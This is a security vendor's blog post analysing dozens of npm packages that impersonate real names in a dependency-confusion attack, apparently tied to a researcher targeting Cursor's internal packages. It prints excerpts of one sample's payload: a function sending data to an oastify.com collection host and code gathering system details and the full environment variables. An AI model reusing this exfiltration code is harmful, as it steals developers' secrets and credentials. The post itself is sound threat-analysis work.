---
title: "Malicious npm Packages using Burp Collaborator for Dependency Confusion Attack"
description: "Multiple npm packages impersonating popular package names were published to the npm registry including by a Snyk researcher apparently targeting internal packages at Cursor AI."
url: "https://safedep.io/blog/burp-collaborator-for-dependency-confusion-attack"
author: "SafeDep Team"
published: "2025-01-16"
---

# Malicious npm Packages using Burp Collaborator for Dependency Confusion Attack

Recently a Hacker News discussion on [Snyk security researcher deploys
malicious NPM packages targeting
cursor.com](https://news.ycombinator.com/item?id=42690473) highlighted
interesting insights related to using Burp Collaborator's `oastify.com` as
[Command and Control](#) (C2) server for exfiltrating data. In this particular
case, the researcher published multiple npm packages to the public npm registry
apparently targeting internal packages at Cursor in a [dependency confusion](https://medium.com/@alex.birsan/dependency-confusion-4a5d60fec610) attack.

## SafeDep Analysis

Our [Malicious Package Scanner](https://docs.safedep.io/cloud/malware-analysis) deployed to monitor `npm` registry for malicious packages
identified similar patterns in multiple packages published during the month of January 2025. In fact a simple query
identified 50+ such packages.

![](https://safedep.io/_next/static/immutable/media/malysis-npm-oastify.0f-jnbu73i4u3.jpeg)

### Looking at a Sample

We took a closer look at one of the samples `pkg:/npm/patternfly-v5/patternfly@1.0.2`.
The sample contained the following files:

```
-rw-r--r--  1 dev  wheel  1365 Oct 26  1985 index.js
-rw-r--r--  1 dev  wheel   283 Oct 26  1985 package.json
-rw-r--r--  1 dev  wheel     0 Oct 26  1985 patternfly-addons.css
-rw-r--r--  1 dev  wheel     0 Oct 26  1985 patternfly.min.css
```

The `package.json` had a `postinstall` script to execute the payload:

```json
{
  "name": "@patternfly-v5/patternfly",
  "version": "1.0.2",
  "description": "A package for testing supply chain attacks.",
  "main": "index.js",
  "scripts": {
    "postinstall": "echo 'Patternfly malicious package executed!'"
  },
  "author": "Your Name",
  "license": "MIT"
}
```

The payload was in `index.js` and contained exfiltration logic such as

```javascript
function sendData(path, data) {
  const options = {
    hostname: 'rzucd2dfiuz08dnqwkigu37xfolf95xu.oastify.com',
    port: 443,
    path: `/${path}`,
    method: 'GET',
    headers: {
      'Content-Type': 'application/json',
    },
  };

  const req = https.request(options, (res) => {
    console.log(`Status: ${res.statusCode}`);
  });

  req.on('error', (error) => {
    console.error(`Error: ${error.message}`);
  });

  req.write(JSON.stringify(data));
  req.end();
}
```

Followed by system information gathering code

```javascript
const systemInfo = {
  hostname: os.hostname(),
  platform: os.platform(),
  arch: os.arch(),
  release: os.release(),
  userInfo: os.userInfo(),
  networkInterfaces: os.networkInterfaces(),
  env: process.env,
};
```

### Example Packages using `oastify.com` for Exfiltration

| Package                                     | Report                                                                                                    |
| ------------------------------------------- | --------------------------------------------------------------------------------------------------------- |
| `chrome-api-utils@1.1.0`                    | [🔗 01JGPYQTZJGM0Y5BYZWZ0757P3](https://platform.safedep.io/community/malysis/01JGPYQTZJGM0Y5BYZWZ0757P3) |
| `grafana-sentry-datasource@1.0.4`           | [🔗 01JH3FWEBCCXBGGRTN286Z5ARP](https://platform.safedep.io/community/malysis/01JH3FWEBCCXBGGRTN286Z5ARP) |
| `@patternfly-v5/patternfly@1.0.2`           | [🔗 01JH0BKSY7Y2DNG7QB137S6J6F](https://platform.safedep.io/community/malysis/01JH0BKSY7Y2DNG7QB137S6J6F) |
| `electron-builder-13@13.4.5`                | [🔗 01JH01T0FQQ14NX3DKNJXG0SPC](https://platform.safedep.io/community/malysis/01JH01T0FQQ14NX3DKNJXG0SPC) |
| `graphql.vscode-graphql-syntax@99.99.99`    | [🔗 01JF2FS909Y3SHC099S6ETY7X1](https://platform.safedep.io/community/malysis/01JF2FS909Y3SHC099S6ETY7X1) |
| `mattermost-cloudnative-bootstrapper@1.0.0` | [🔗 01JF1PE7YACMTYBQGG59VVHDZ1](https://platform.safedep.io/community/malysis/01JF1PE7YACMTYBQGG59VVHDZ1) |

## Conclusion

All packages appeared to be similar in nature i.e. leveraged Burp Suite's [Collaborator](https://portswigger.net/burp/documentation/collaborator)
service as a public endpoint for capturing exfiltrated data. We did not observe any sophistication or attempt
to conceal malicious behavior. This potentially indicate red team activity or unsophisticated threat actor groups.